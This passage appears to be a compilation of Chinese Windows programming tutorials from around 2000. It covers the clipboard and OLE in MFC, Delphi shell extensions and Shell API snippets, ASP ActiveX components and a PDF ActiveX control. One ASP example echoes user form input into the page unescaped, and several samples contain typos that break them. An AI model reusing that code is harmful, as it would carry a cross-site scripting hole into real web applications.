---- 在选择使用何种剪贴板机制时通常应遵循下面的原则：

---- 如果应用程序在将来又可能具有新的性能（比如现在只需要传输纯文本，但将来有可能需要另外传输字体等特性），那么使用OLE剪贴板。

---- 如果你正在使用一个OLE应用程序，或者你希望使用任何OLE特性（如拖放等）那么你应当使用OLE剪贴板机制。

---- 如果你提供了OLE格式（如字体、字号等），那么使用OLE剪贴板机制。

---- 三、使用Windows标准剪贴板

---- 大多数Windows下的应用程序支持剪切或复制数据到Windows剪贴板中以及从剪贴板粘贴数据至目的地。在这个过程中，剪贴板数据格式在多种应用程序之间发生了变化。系统构架仅仅通过实现一些有限的类来支持一些有限的剪贴板格式，下表列出了Windows标准剪贴板支持的格式（第一列“值”将在下面的程序代码中使用）。

值		含义
CF_BITMAP	一个对应于位图的句柄（HBITMAP）。
CF_DIB		一个包含BITMAPINFO结构并且
跟着位图数据的内存对象。
CF_DIF		数据交互格式
CF_DSPBITMAP	有一个私有格式的位图显示格式。
CF_DSPENHMETAFILE	有一个私有格式的增强的元文件的显示格式。
CF_DSPMETAFILEPICT	有一个私有格式的元图显示格式。
CF_DSPTEXT	有一个私有格式的文本显示格式。
CF_ENHMETAFILE	一个增强的元文件（HENHMETAFILE结构）的句柄。
CF_GDIOBJFIRST到 CF_GDIOBJLAST	应用软件定义
的一系列GDI对象的整型值。
CF_HDROP	一个HDROP类型的句柄，用来标识一列文件。
CF_METAFILEPICT	一个使用METAFILEPICT结构定义的元图文件的句柄。
CF_OEMTEXT	预定义的字符的文本格式，每一行都绑定
一个CR-LF字符，并且用一个空字符表示数据结尾。
CF_OWNERDISPLAY	剪贴板拥有者的显示格式，
剪贴板的拥有者必须显示并且更新剪贴板的观察器窗口，
并且接收WM_ASKCBFORMATNAME、WM_HSCROLLCLIPBOARD、
WM_PAINTCLIPBOARD、WM_SIZECLIPBOARD以及
WM_VSCROLLCLIPBOARD等消息，hMem参数必需为NULL。
CF_PALETTE	调色板的句柄
CF_PRIVATEFIRST到CF_PRIVATELAST	私有的剪贴板格式的整型值。
CF_RIFF	能够提交比CF_WAVE标准波表文件格式更为复杂的音频数据
CF_SYLK	微软公司的SYLK（Symbolic Link，符号链接）格式
CF_TEXT	文本格式
CF_WAVE	使用一种标准波表文件格式如11kHz或22kHz等
PCM（Pulse Code Modulation，脉冲编码调制器）提交音频数据。
CF_TIFF	TIFF图形格式
CF_UNICODETEXT	Unicode文本格式（
注意：仅适用于Windows NT或Windows 2000操作系统）
---- 表1　常用的标准剪贴板格式

---- 要编写一个实现剪切和复制命令的函数，就要在你的应用程序中实现选定操作；要编写一个实现粘贴命令的函数，就需要请求剪贴板来检测它是否包含你的应用程序能够支持的数据。下面的代码实现了复制命令，其它实现可仿照进行，在此不再赘言。

---- 程序示例：

void CMyView::OnEditCopy()
{
if ( !OpenClipboard() )
{
AfxMessageBox( "无法打开剪贴板" );
return;
}
// 删除目前剪贴板的内容
      if( !EmptyClipboard() )
      {
AfxMessageBox( "无法清除剪贴板" );
return;
}
// 获取选定的数据
// 检查是否为剪贴板支持的格式
if ( ::SetClipboardData( CF_??, hData ) == NULL )
// CF_??指定了剪贴板中数据的格式，
//表1列出了标准的剪贴板格式
{
AfxMessageBox( "无法将数据复制到剪贴板当中" );
CloseClipboard();
return;
}
// ...
CloseClipboard();
}
---- 四、使用OLE剪贴板机制

---- 首先举个例子给你一些关于OLE剪贴板的感性认识，同时说明你需要为OLE剪贴板做哪些事情：Microsoft Excel为工作表注册了一个自定义的格式，这个格式能够比其它标准格式（如位图或纯文本等）提供更多的信息。当此数据被粘贴到一个支持工作表的程序（比如Lotus 1-2-3）时，所有的原工作表中的公式和数值将被保留，并且还可能会根据需要被更新。Excel同样将数据以OLE格式存放在剪贴板中，这样它就可以作为一个OLE对象被嵌入。任何OLE文档包容器（Container）（比如Microsoft Word）能够将该数据作为嵌入对象粘贴进文档（比如通过“选择性粘贴”，可以在Word中粘贴进Excel工作表对象）。这个嵌入对象能够通过激活Microsoft Excel来进行修改（在Word中可以通过双击对象实现）。该工作表甚至可以被粘贴到一个绘图程序（比如的画笔）。当然，这时你无论如何都没有办法将其中的数据像在工作表中一样修改，因为它已经是图片了。

---- 从上例总结一下，我们应当作的事情大致有：注册自定义的格式、传输格式到剪贴板上以及实现复制、剪切和粘贴。

---- 注册自定义格式

---- OLE剪贴板中的数据存在于多种格式。当一个用户选择从剪贴板粘贴数据时，应用程序应当能够选择使用何种格式粘贴数据。应用程序应当提供大部分格式的信息，除非用户指定使用某一种特定格式粘贴（比如只粘贴文字或只粘贴图片等）。

---- Windows定义了很多能够通过剪贴板传输的标准格式（见表1），OLE也定义了很多特殊的格式。应用程序可以通过获取更加详细的信息来注册他们自己的剪贴板格式。这可以通过使用Win32 API函数RegisterClipboardFormat来实现：

---- RegisterClipboardFormat ( lpszFormat );

---- 说明 lpzxFormat是指向一个字符串的指针，用以命名自定义的格式。该函数返回无符号整数，该数即为格式的ID号

---- 在注册了自定义的格式之后，便可以使用RegisterClipboardFormat函数的返回值来标识并使用该格式。

---- 将格式传输到剪贴板上

---- 要增加更多的格式到剪贴板上，你必须从COleClientItem或COleServerItem继承一个类，并且在该类中重载OnGetClipboardData函数。在这个函数中，你应当做按照下列步骤完成。

---- 将更多的格式放置在剪贴板上

---- 1. 建立一个COleDataSource对象。

---- 2. 传递该数据源到一个函数，用该函数通过访问COleDataSource::CacheGlobalData函数来将你的数据格式添加到支持的格式列表。

---- 3. 通过访问COleDataSource::CacheGlobalData，为每一个你向支持的格式添加标准格式。

---- 程序示例：

COleDataSource* CMyItem::OnGetClipboardData(
BOOL bIncludeLink,LPPOINT pptOffset, LPSIZE pSize)
{
    ASSERT_VALID(this);

    if (m_pServerNode == NULL)
        return NULL;

    COleDataSource* pDataSource =
    new COleDataSource;
    TRY
    {
        GetNativeClipboardData(pDataSource);
        GetClipboardData(pDataSource, bIncludeLink,
     pptOffset, pSize);
    }
    CATCH_ALL(e)
    {
        delete pDataSource;
        THROW_LAST();
    }
    END_CATCH_ALL

    ASSERT_VALID(pDataSource);
    return pDataSource;
}
---- 复制、剪切和粘贴数据

---- 将数据复制或剪切到剪贴板上

---- 1. 确定将要被复制的数据是一个本地数据还是一个嵌入对象或链接。

---- 如果数据是一个嵌入对象或链接，创建一个指向被选定数据的COleClientItem指针。

---- 如果数据是本地化的并且应用程序是一个服务器，那么从COleServerItem继承一个新的类，并创建该对象。否则，为数据建立一个COleDataSource对象。

---- 2. 访问选定对象的CopyToClipboard成员函数。

---- 3. 如果用户选择剪切命令而不是复制，那么从你的应用程序中删除那些数据。

---- 程序示例：

void CMainView::OnEditCut()
{
    ASSERT(m_pSelection != NULL);
    TRY
    {
        m_pSelection- >CopyToClipboard(TRUE);
        OnEditClear();
    }
    CATCH_ALL(e)
    {
        AfxMessageBox(IDP_CLIPBOARD_CUT_FAILED);
    }
    END_CATCH_ALL
}

void CMainView::OnEditCopy()
{
    ASSERT(m_pSelection != NULL);
    TRY
    {
        m_pSelection- >CopyToClipboard(TRUE);
    }
    CATCH_ALL(e)
    {
        AfxMessageBox(IDP_CLIPBOARD_COPY_FAILED);
    }
    END_CATCH_ALL
}
---- 从剪贴板粘贴数据

---- 粘贴数据比复制更加复杂，因为你需要选择粘贴的格式。

---- 1. 在你的视中，实现OnEditPaste来处理用户从编辑菜单选择粘贴命令的操作。

---- 2. 在OnEditPaste函数中，建立一个COleDataObject对象并且访问它的AttachClipboard成员函数来将这个对象绑定到剪贴板。

---- 3. 访问COleDataObject::IsDataAvailable函数来检查是否可以使用特殊的格式。当然，你也可以通过循环使用COleDataObject::BeginEnumFormats来寻找其它格式直到你找到了最适合的格式。

---- 4. 粘贴数据。

---- 程序示例：

CRectItem* CMainView::DoPasteItem(BOOL bLink,
COleDataObject* pDataObject,CPoint* pPoint,
CLIPFORMAT cfFormat)
{
    BeginWaitCursor();

    CRectItem* pItem = GetDocument()- >CreateItem();
    ASSERT_VALID(pItem);
    BOOL bAllowAdjust = (pPoint == NULL) ? TRUE : FALSE;

    COleDataObject clipboardData;
    if (pDataObject == NULL)
    {
        clipboardData.AttachClipboard();
        pDataObject = &clipboardData;
    }

    TRY
    {
        if (cfFormat == CMainDoc::m_cfPrivate)
        {
            DoPasteNative(pDataObject, pPoint, pItem);
        }
        else if (!bLink && cfFormat == 0 &&
            pDataObject- >IsDataAvailable(CMainDoc::m_cfPrivate))
        {
            DoPasteNative(pDataObject, pPoint, pItem);
        }
        else if (bAllowAdjust)
        {
            CPoint ptDef(10, -10);
            DoPasteStandard(bLink, pDataObject,
 &ptDef, pItem, cfFormat);
        }
        else
        {
            DoPasteStandard(bLink, pDataObject,
 pPoint, pItem, cfFormat);
        }

        if (bAllowAdjust)
        {
            GetDocument()- >AdjustItemPosition(pItem);
        }
    }
    CATCH_ALL(e)
    {
        TRACE0("failed to embed/link an OLE object\n");
        pItem- >Delete();
        pItem = NULL;
    }
    END_CATCH_ALL

    SetSelection(pItem, TRUE);

    GetDocument()- >SetModifiedFlag();
    GetDocument()- >UpdateAllViews(NULL, 0, pItem);
    EndWaitCursor();

    return pItem;
}

void CMainView::OnEditPaste()
{
    COleDataObject clipboardData;
    clipboardData.AttachClipboard();
    DoPasteItem(&clipboardData);
    UpdateAllViews();
}
---- 说明 将粘贴操作（如OnEditPaste函数）与实现粘贴的函数（如DoPasteItem）分开的最大优点在于，当数据被拖放到你的应用程序中时，可以使用同样的粘贴代码。比如你可以在OnDrop函数中访问DoPasteItem函数来重用代码。另外，程序代码中的DoPasteNative和DoPasteStandard函数仅仅说明一个概念，因此不再实现。


改文件名

把c:\hubdog.txt 改成c:\newhubdog.txt

procedure TForm1.Button1Click(Sender: TObject);
var
P:
PWideChar;
NewPIDL,RenPIDL,PathPIDL: PItemIDList;
Flags,
NumChars: LongWord;
//Index:
Integer;
NewShellFolder: IShellFolder;
Value,PathValue:String;
begin
SHGetDesktopFolder(FIDesktopFolder);
Value:='hubdog.txt';
PathValue:='C:\';
NumChars := Length(PathValue);
Flags :=
0;
P := StringToOleStr(PathValue);

OLECheck(
FIDesktopFolder.ParseDisplayName(
Application.Handle,
nil,
P,
NumChars,
PathPIDL,
Flags)
);

OLECheck(
FIDesktopFolder.BindToObject(
PathPIDL,
nil,
IID_IShellFolder,
Pointer(NewShellFolder))
);

NumChars := Length(Value);
Flags := 0;
P := StringToOleStr(Value);

OLECheck(
NewShellFolder.ParseDisplayName(
Application.Handle,
nil,
P,
NumChars,
NewPIDL,
Flags)
);

if NewShellFolder.SetNameOf(
Application.Handle,
NewPIDL,
StringToOleStr('newhubdog.txt'),
128,
RenPIDL
)=noerror then
showmessage('ok');
//SHChangeNotify(SHCNE_RENAMEITEM,SHCNF_FLUSH,NewPIDL,nil);
end;


清除开始菜单中最近文档

uses
ShlOBJ;

procedure TForm1.Button1Click(Sender: TObject);
begin
SHAddToRecentDocs(SHARD_PATH, nil);
end;


获取某一类型的文件在系统的图标

 function GetFileIcon(const Filename:String; SmallIcon:Boolean):HICON;
var info:TSHFILEINFO;
Flag: Integer;
begin
if SmallIcon then Flag:=(SHGFI_SMALLICON or SHGFI_ICON)
else Flag:=(SHGFI_LARGEICON or SHGFI_ICON);
SHGetFileInfo(Pchar(Filename),0,info,Sizeof(info),Flag);
Result:=info.hIcon;
end;


获得资源管理器中的图象列表

procedure TForm1.Button1Click(Sender: TObject);
begin
ImageList2.Handle:=GetSystemImageList(TRUE);
end;

function TForm1.GetSystemImageList(Large: boolean): HImageList;
var
SFI: TSHFileInfo;
begin
if Large then
Result := SHGetFileInfo('', 0, SFI, SizeOf(SFI),
SHGFI_SYSICONINDEX or SHGFI_LARGEICON)
else
Result := SHGetFileInfo('', 0, SFI, SizeOf(SFI),
SHGFI_SYSICONINDEX or SHGFI_SMALLICON);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
ImageList2.Handle:=GetSystemImageList(FALSE);
end;

//注意设ImageList2的ShareImages为True
以免你的程序结束运行时，ImageList2被Free掉，也就相当于Free掉系统的ImageList


Creating Property Sheet Handlers

用delphi实现外壳扩展

作者：hubdog

当用户在资源管理器中调用右键菜单时，会显示一个"属性"菜单项，点击属性菜单项会显示一个属性页，用户可以获得甚至修改文件信息。我们可以定制属性页通过实现属性页扩展。如下图所示，本文实现了一个显示wave（波形）文件的信息如声道数等信息的属性页扩展。

wpe3.jpg (14373 ×?1?

属性页扩展通常是同某类文件相关联的来实现同之相关的操作和信息显示，另外可以同驱动器相关联，我们还可以用属性页扩展来替换控制面板程序的属性页。象其他外壳扩展程序一样，属性页扩展也是以动态连接库形式实现的进程内COM对象。它除了IUnknown接口外还要实现IShellExtInit和IShellPropSheetExt接口。

建立同文件关联的属性页扩展

首先，我们用命令File|New...，创建一个ActiveX Library，然后新建一个COM Object，实现的接口为IShellExtInit和IShellPropSheetExt。

同文件建立关联需要注册属性页，要在注册表中同相应文件对应的表项下添加Shellex/PropertySheetHandlers子键 ，每增加一个页面就需要注册一个表项，最大可以添加的页面数是24，我们可以用一个扩展实现多个页面。这里我们通过从TComObjectFactory继承类实现的UpdateRegistry实现了注册。

type
   TCXPropSheetFactory=class(TComObjectFactory)
   public
      procedure UpdateRegistry(Register: Boolean); override;
   end;

procedure TCXPropSheetFactory.UpdateRegistry(Register: Boolean);
var
  ClassID: string;
  Str,KeyName : string;
begin
   inherited UpdateRegistry(Register);
   if Register then
   begin
     ClassID:=GUIDToString(Class_CXPropSheet);
     with TRegistry.Create do
     try
       RootKey:=HKEY_CLASSES_ROOT;
       OpenKey('\.wav',TRUE);
       KeyName := ReadString('');
       if Keyname = '' then
       begin
         WriteString('','WaveFile');
         OpenKey('\.wav',TRUE);
         KeyName := ReadString('');
       end;
       OpenKey('\'+KeyName+'\shellex\PropertySheetHandlers\Wav',TRUE);
       WriteString('',Classid);
     finally
       Free;
     end;

     if(Win32Platform=VER_PLATFORM_WIN32_NT)then
     begin
       with TRegistry.Create do
       try
         RootKey:=HKEY_LOCAL_MACHINE;
         OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions', True);
         OpenKey('Approved', True);
         WriteString(ClassID, 'Wave File Property Sheet');
       finally
         Free;
       end;
     end;
   end
   else
      删除注册表项.......................
end;

初始化扩展是通过IShellExtInit实现的，当外壳调用IShellExtInit.Initialize时，它传递一个数据对象包含来文件对应的目录的PIDL标识符。Initialize方法需要从数据对象中提取文件名，并把文件名和PIDL标识符保存起来为了以后使用。

function TCXPropSheet.SEIInitialize(pidlFolder: PItemIDList;
  lpdobj: IDataObject; hKeyProgID: HKEY): HResult;
var
   StgMedium: TStgMedium;
   FormatEtc: TFormatEtc;
   szFile: array[0..MAX_PATH+1]of Char;
   filecount: integer;
begin

   Result:=E_FAIL;

   if(lpdobj=nil)then begin
      Result:=E_INVALIDARG;
      messagebox(0, '1', '错误', mb_ok);
      Exit;
   end;

   with FormatEtc do begin
      cfFormat:=CF_HDROP;
      ptd:=nil;
      dwAspect:=DVASPECT_CONTENT;
      lindex:=-1;
      tymed:=TYMED_HGLOBAL;
   end;

   Result:=lpdobj.GetData(FormatEtc, StgMedium);
   if Failed(Result)then
      Exit;

  // 如果只有一个文件被选中，获得文件名并保存。
   filecount:=DragQueryFile(stgmedium.hGlobal, $FFFFFFFF, nil, 0);
   if filecount=1 then begin
      Result:=NOERROR;
      DragQueryFile(stgmedium.hGlobal, 0, szFile, SizeOf(szFile));
      FFilename:=strpas(szFile);
   end;
   ReleaseStgMedium(StgMedium);
end;

添加页面的操作是通过IShellPropSheetExt接口来实现的。如果属性页是和文件相关联，外壳会调用 IShellPropSheetExt.AddPages给属性页添加一个页面。如果属性页同控制面板程序相关联，外壳调用 IShellPropSheetExt.ReplacePage来替换页面。

IShellPropSheetExt.AddPages方法有两个参数，lpfnAddPage是一个指向AddPropSheetPageProc 回调函数的指针，回调函数用来提供要添加的页面信息给外壳。lParam是一个用户自定义的值，这里我们用它来返回给回调函数对象。

一般的IShellPropSheetExt.AddPages方法实现步骤是：

  1. 给PROPSHEETPAGE结构设定正确的值，特别是：

    • 把扩展的对象引用记数变量付值给pcRefParent成员，这可以防止页面还在显示时，扩展对象被卸载。
    • 实现 PropSheetPageProc 回调函数来处理页面创建和销毁的情况。
  2. 调用CreatePropertySheetPage函数来创建页面。
  3. 调用lpfnAddPage指向的函数来来添加创建好的页面。

function TCXPropSheet.AddPages(lpfnAddPage: TFNADDPROPSHEETPAGE;
  lParam: LPARAM): HResult;
var
   PSP: TPropSheetPage;
   HPSP: HPropSheetPage;
begin
   result:=E_FAIL;
   try
      psp.dwSize:=SizeOf(psp);

      psp.dwFlags:=PSP_USEREFPARENT or PSP_USETITLE or PSP_USECALLBACK;
      psp.hInstance:=hInstance;
      //这里我们使用了事先储存在wave.res中的对话框模板,模板是用delphi5自带的
      //resource workshop编辑的，使用delphi5\bin\brcc32.exe编译的。
      psp.pszTemplate:=MakeIntResource(100);
      //标题名
      psp.pszTitle:='波文件信息';
      //设定回调函数
      psp.pfnDlgProc:=@DialogProc;
      psp.pfnCallBack:=@PropCallback;
      //设定对象引用记数变量
      psp.pcRefParent:=@comserver.objectcount;

      //用lParam向回调函数传递对象
      psp.lParam:=integer(self);

      HPSP:=CreatePropertySheetPage(psp);
      if HPSP<>nil then begin
         if not lpfnAddPage(HPSP, lParam)then begin
            DestroyPropertySheetPage(HPSP);
         end else begin
            _addref;//增加引用记数，否则一脱离这个方法的作用域，delphi自动释放对象。
            result:=S_OK;
         end
      end
   except
      on e: exception do begin
         e.message:='添加页面 '+e.message;
         messagebox(0, pchar(e.message), '错误', mb_ok);
      end;
   end;
end;

function TCXPropSheet.ReplacePage(uPageID: UINT;
  lpfnReplaceWith: TFNADDPROPSHEETPAGE; lParam: LPARAM): HResult;
begin
  Result:=E_NOTIMPL;//同文件关联时，外壳不调用ReplacePage,所以不用实现
end;

回调函数处理属性页的消息，主要要响应WM_INITDIALOG消息来初始化页面显示信息，响应WM_COMMAND消息来处理用户交互，响应WM_NOTIFY消息来处理页面切换或关闭后处理操作结果。

function DialogProc(hwndDlg: HWnd; Msg: UINT; wParam: wParam;
   lParam: LPARAM): Bool; stdcall;
var
   PageObj: TCXPropSheet;
   filename: string;
   displayName : string;
   buffer: array[0..255]of char;
   SheetHWnd: HWnd;
begin
   result:=false;
   try
      if Msg=WM_INITDIALOG then begin//初始化界面

         //获得lparam传递过来的对象
         pageObj:=TCXPropSheet(PPropSheetPage(lParam)^.lParam);
         //保存对象信息
         SetWindowLong(hwndDlg, DWL_USER, integer(pageObj));
         //设置界面显示波文件信息
         SetDlgItemText(hwndDlg, 100, PChar(ExtractFileName(PageObj.FFileName)));
         OpenMedia(PageObj.FFileName);
         SetDlgItemText(hwndDlg, 101, PChar(IntToStr(GetWavStatus(MCI_WAVE_STATUS_AVGBYTESPERSEC))));
         SetDlgItemText(hwndDlg, 102, PChar(IntToStr(GetWavStatus(MCI_WAVE_STATUS_BITSPERSAMPLE))));
         SetDlgItemText(hwndDlg, 103, PChar(IntToStr(GetWavStatus(MCI_WAVE_STATUS_CHANNELS))));
         CloseMedia;
         SetWindowLong(hwndDlg, DWL_MSGRESULT, 0);
         Result:=TRUE;
      end
      else if(Msg=WM_COMMAND)then begin
         if Lo(wParam)=110 then//用户点击了关于按钮(id=110)
            MessageBox(0,'作者:hubdog'+#13#10+'email:hubdog@263.net','关于...',MB_OK);
      end else if(msg=WM_NOTIFY)then begin
         sheetHwnd:=getparent(hwndDlg);//获得属性页的窗口句柄
         case PNMHdr(lparam)^.code of
            //页面失去焦点
            PSN_KILLACTIVE:begin
                             SetWindowLong(hwndDlg, DWL_MSGRESULT, 0);
                             Result:=TRUE;
           end;
         end;
      end;
   except
      on e: exception do begin
         e.message:='回调处理'+e.message;
         messagebox(0, pchar(e.message), '错误', mb_ok);
      end;
   end;
end;

建立同驱动器相关联的属性页扩展用

同上面讲的有两点不同：

  • IShellExtInit.Initialize方法传递过来的数据对象包含的驱动器路径可能是 CFSTR_MOUNTEDVOLUME 格式而不是 CF_HDROP格式的。标准驱动器是CF_HDROP格式的，而在NTFS文件系统中映射的远程设备则是CFSTR_MOUNTEDVOLUME格式的。

  • 注册表项是HKEY_CLASSES_ROOT\Drive\Shellex\PropertySheetHandlers子键。

建立控制面板属性页扩展

同上面讲的有两点不同：

  • 控制面板程序调用IShellPropSheetExt.ReplacePage方法来替换页面，它不调用 IShellPropSheetExt。AddPages方法。

  • 注册方式：子键可以在不同位置创建，这依赖于扩展是针对用户还是针对机器的。 对用户方式子键是HKEY_CURRENT_USER\REGSTR_PATH_CONTROLPANEL，否则子键是 HKEY_LOCAL_MACHINE\REGSTR_PATH_CONTROLSFOLDER。

本程序在Delphi5，Win NT 4.0，K6-233系统下调试成功，例子可以到http://hubdog.chinaren.com下载


编写ASP的ActiveX服务器组件

ASP中的ActiveX服务器组件为标准的Automation ActiveX组件，只要使用由ASP提供的接口和遵守ASP有关规则便可。Delphi 4.0作为一种高效、快速、强大的开发语言，为开发COM组件提供了很强的功能，但不知道什么原因，很少有人运用Delphi编写ASP中的ActiveX服务器组件。本文意在通过举例介绍如何运用Delphi编写ASP中的ActiveX 组件。
    通过以下步骤创建ASP中的ActiveX 服务器组件：
    1.创建一个ActiveX library工程
    打开Delphi编辑器，选择选单中的File/New，在New Item中选择 the ActiveX 项中的ActiveX Library选项，Delphi将自动生成以下代码：
    library Project1;
    uses
     ComServ;
    exports
     DllGetClassObject,
     DllCanUnloadNow,
     DllRegisterServer,
     DllUnregisterServer;
    {＄R ＊.RES}
    begin
    end.
    这是Delphi编译COM组件时必须的函数，DllGetClassObject函数负责将输入调用从COM库转换到相应的类工厂中；DllCanUnloadNow函数是通知OLE引擎如果没有程序引用将自动释放内存；DllRegisterServer与DllUnregisterServer函数用来登记COM服务器。总之Delphi已经为你做好了一切辅助工作，你只需用心编写主要功能模块便可。
    2.在该工程中新增一个automation对象
    选择Delphi编辑器选单中的File/New，在New Item中选择ActiveX 项中的Automation Object选项，系统将显示the Automation Object导向，在物件名称中输入TestObject和选择Multiple Instance选项,按OK键后系统将弹出类型编辑器，其实这时系统已经生成了两个单元（Project1—TLB.pas与unit1.pas），unit1.pas中有如下代码：
    initialization
     TAutoObjectFactory.Create(ComServer, TTestObject,
    Class—TestObject, ciMultiInstance);
    end.
    这是告诉类工厂物件执行的方式与位置。
    3.增加组件中的属性与方法
    在类型编辑器中单击工具栏中的方法按钮增加以下方法：
    OnStartPage(unk:IUnknown)
    OnEndPage.
    Test.
    注意在增加方法OnStartPage时，在Parameters项中增加参数unk，类型为Iunknown，增加三项方法后，在类型编辑器中按Refrash键，Unit1.pas中将会出现三个函数，在每个函数下写如下程序：
    procedure Ttestobject.OnStartPage(unk: IUnknown);
     begin
     m_scriptContext := unk as IScriptingContext;
     end;
    procedure Ttestobject.OnEndPage;
     begin
     m_scriptContext := nil;
    end;
    procedure Ttestobject.test;
    begin
   m—scriptContext.Response.Write(′ActiveX Test For Delphi′);
    end;
    当IIS激活一个ActiveX组件时它会自动寻找组件中是否有OnStartPage与OnEndPage方法，如果存在，服务器将在开启本ASP页时自动执行OnStartPage方法和当本ASP页所有脚本执行完毕后自动执行OnEndPage方法。
    其中mscriptContext 与IScriptingContext是ASP中负责将ASP转换成HTML格式必不可少的变量与类型，因此必须将Unit1.pas文件中的Uses加上ASPTypeLibrary—TLB变成
    unit unit1;
    interface
     uses ComObj, ActiveX, Delphi_TLB, ASPTypeLibrary—TLB, SysUtils;
    ASPTypeLibrary—TLB.Pas文件可以通过类型库引入取得，打开Delphi编辑器中的选单Project/import type library 项，选择the Microsoft Active Server Pages Type library，按OK，Delphi便会自动生成一个ASPTypeLibrary_TLB.Pas。
    4.编译与注册
    选择Delphi编辑器中的选单Project/Compile 项编译文件，然后选择Run/Register ActiveX Server对Project1.dll文件注册。
    5.在ASP文件中运用Project1.dll
    在ASP文件中加入以下文字：
     Set TestASP = Server.CreateObject(Project1.TestObject)
     TestASP.Test
    通过上面的例子，我们可以发现用Delphi编写ASP中的ActiveX服务器组件是十分容易的，加上Delphi丰富的组件与强大的功能，使我们相信运用Delphi编写特殊的ASP服务器组件，如数据库、服务器上各种信息与资源访问等，都会十分方便。

（作者：孙航东　2000年12月07日 10:01）

    众所周知，asp技术是我们在以internet/intranet为平台的web程序的主要技术，在asp应用程序中我们一般使用vbscripts和javascripts两种脚本语言。但是脚本语言是一种非编译的语言，其所开发的web程序存在先天的安全性、执行效率扩张性方面的问题，因此我们一般在开发web系统时用高级语言编写asp执行体，然后用脚本语言作为连接代码去调用asp执行体执行存取。在这方面由于asp技术是微软推出的，因此我们一般利用vb或vc，那么delphi程序员又如何实现呢？

    在这方面笔者最近通过inrpisre的资料，实现了在delphi环境中实现asp技术的web编程，现以一个介绍如下：

    1、在delphi环境中建立一个新的acdivex dll项目project1，然后通过delphi的active server object建立一个asp对象，在他的coclassname中填入所建立对象的名字myaspobject.

    2、通过type library为刚建立的myaspobject对象建立一个将要被脚本语言调用的方法myasprequest.

    3、由于刚才所建立的asp对象是从taspobject继承的，应此我们在方法建立中可以直接使用asp对象，现在为我们建立的asp对象填写代码如下：

    produce tmyaspobject.myasprequest;

    begin

     repsonse.write('<p>您的姓名是:');

     repsonse.write(request.form.item['name']）；

     repsonse.write('</p>');//从所要建立的网页中读出用户名//

     repsonse.write('<p>您的工作是:');

     repsonse.write(request.form.item['work']）；

     repsonse.write('</p>');//从所要建立的网页中读出用户工作//

     repsonse.write('<p>您用的开发工具:');

     if(request.form.item['delphi'].count>0)

     repsonse.write('delphi');

     if(request.form.item['bcb'].count>0)

     repsonse.write('c++ builder');//判断用户所用的开发工具//

     repsonse.write('</p>');

     repsonse.write('<p>您的身份:');

     repsonse.write(request.form.item['identity'])；

     repsonse.write('</p>');//读出用户的身份//

     end;

    4、对程序进行编译并在delphi中进行注册为pmyaspobject.dll文件。

    5、编写用于连接的asp脚本语言文件myasp.asp

    <%@language=jscript %>

    <html>

    <body>

    <title>这是一个用delphi建立的asp对象</title>

    <center><h3>你填的内容如下</h3></center>

    <%

     var myasp;

myasp=server.createobject(pmyaspobject.myaspobject);

     //生成连接对象//

     myasp.myasprequest();//调用自己定义的asp对象//

    %>

    </body>

    </html>

    6、建立用于显示的网页myhtm.htm

    <form action='localhost/shd/myasp.asp' method='post">

    <h1 align='center">请选择</h1>

    <p>姓名：<input type='text' size=33 name="name"></p>

    <p>工作：<input type='text' size=33 name="work"></p>

    <p>开发工具：<input type='checkbox' name='delphi' value="on">delphi

    <input type='checkbox'name='bcb'value="on">c++ builder</p>

    <p>您的身份:</p>

    <p><select name="identity" size="1">

     <option>学生</option>

     <option>技术人员</option>

     </select></p>

    <p><input type="submit" name="mysubmit" value="递交">

    </form>

    7、然后把myhtm.htm和myasp.asp放在个人的web服务器中的shd目录下即可浏览测试。

这个DLL可以注册到MTS管理器中，每次调试不用重启，只需在MTS管理器中右键关机(NT)或关闭(Win2000)


利用ActiveX控件读取PDF文件

Adobe公司将PDF格式文件的支持代码做成了ActiveX控件，省却了我们的大量工作。

首先，要找到这个控件，安装Acrobat Reader程序也就同时得到了这个控件。

这个控件位于它的 ActiveX 子目录下，名字可能因版本不同而稍有不同。如 3.0 版的名字叫 pdf42.ocx .

然后，使用 Delphi5 的 Component 菜单下的 Import ActiveX Control 功能将此 ActiveX 控件 install 入 Delphi5 中。

Delphi5 将生成一个包裹类 TPDF 在 PdfLib_TLB 单元中，下面是其属性、方法声明：

TPdf = class(TOleControl)

private

FIntf: _DPdf;

function GetControlInterface: _DPdf;

protected

procedure CreateControl;

procedure InitControlData; override;

public

procedure Print;

function LoadFile(const fileName: WideString): WordBool;

procedure AboutBox;

property ControlInterface: _DPdf read GetControlInterface;

property DefaultInterface: _DPdf read GetControlInterface;

published

property TabStop;

property Align;

property DragCursor;

property DragMode;

property ParentShowHint;

property PopupMenu;

property ShowHint;

property TabOrder;

property Visible;

property OnDragDrop;

property OnDragOver;

property OnEndDrag;

property OnEnter;

property OnExit;

property OnStartDrag;

property src: WideString index 1 read GetWideStringProp write SetWideStringProp stored False;

end;

例如,使用下面的代码，只用一行就可以打开并显示一个PDF文件，这就是ActiveX给我们带来的好处。

procedure TForm1.Button1Click(Sender: TObject);

begin

if OpenDialog1.Execute then

pdf1.src := OpenDialog1.FileName;

end;

参考上面的属性、方法，我们可以将PDF的应用发挥得更加充分。


Agent技术的应用

解放军合肥炮兵学院

张建军

中保财险安徽省铜陵市分公司

韩莹

---- Microsoft Agent是微软公司于1997年9月发布的一项代理软件开发技术，而后被集成到Internet Explorer 4.0 Plus及更高版本中，目前版本为2.0，支持简体中文。作为一种软件代理工具，Agent以其强大的交互功能、鲜明的人性特点、优美的操作界面和简便统一的编程方法，对由菜单、按钮、提示框等组成的传统人机交互方式产生了很大影响，在多媒体创作、Web应用、教育软件、软件帮助系统和辅助工具制作等方面，具有广阔的应用前景。

一、 Microsoft Agent技术简介

---- Agent一词的中文意思是“代理”，故名思意，这类代理软件的主要作用是提供一种易于理解和使用的操作界面，接受用户的指令、代替用户完成某些复杂繁琐的工作、或为用户提供帮助。科学研究表明：从人机工程的角度考虑，赋予电脑或程序更多人性化色彩，如支持语音合成输出信息、语音识别输入指令、智能提示、动画等，能够充分提高人机交互的有效性和易用性。

---- 我们知道，在Office 97帮助系统中有一种叫作Office助手的代理软件，其中幽默风趣的动画人物，如“大眼夹”，能够根据用户的操作步骤“智能化”地提出一些建议或帮助信息。与Office助手相比，Agent功能更加丰富强大，表现在：

Office助手沿用传统的不透明矩形窗口，窗口后面的背景被完全挡住；Agent动画人物本身是一个“AlwaysOnTop”窗口，只有人物身体部分挡住背景，其余部分透明。

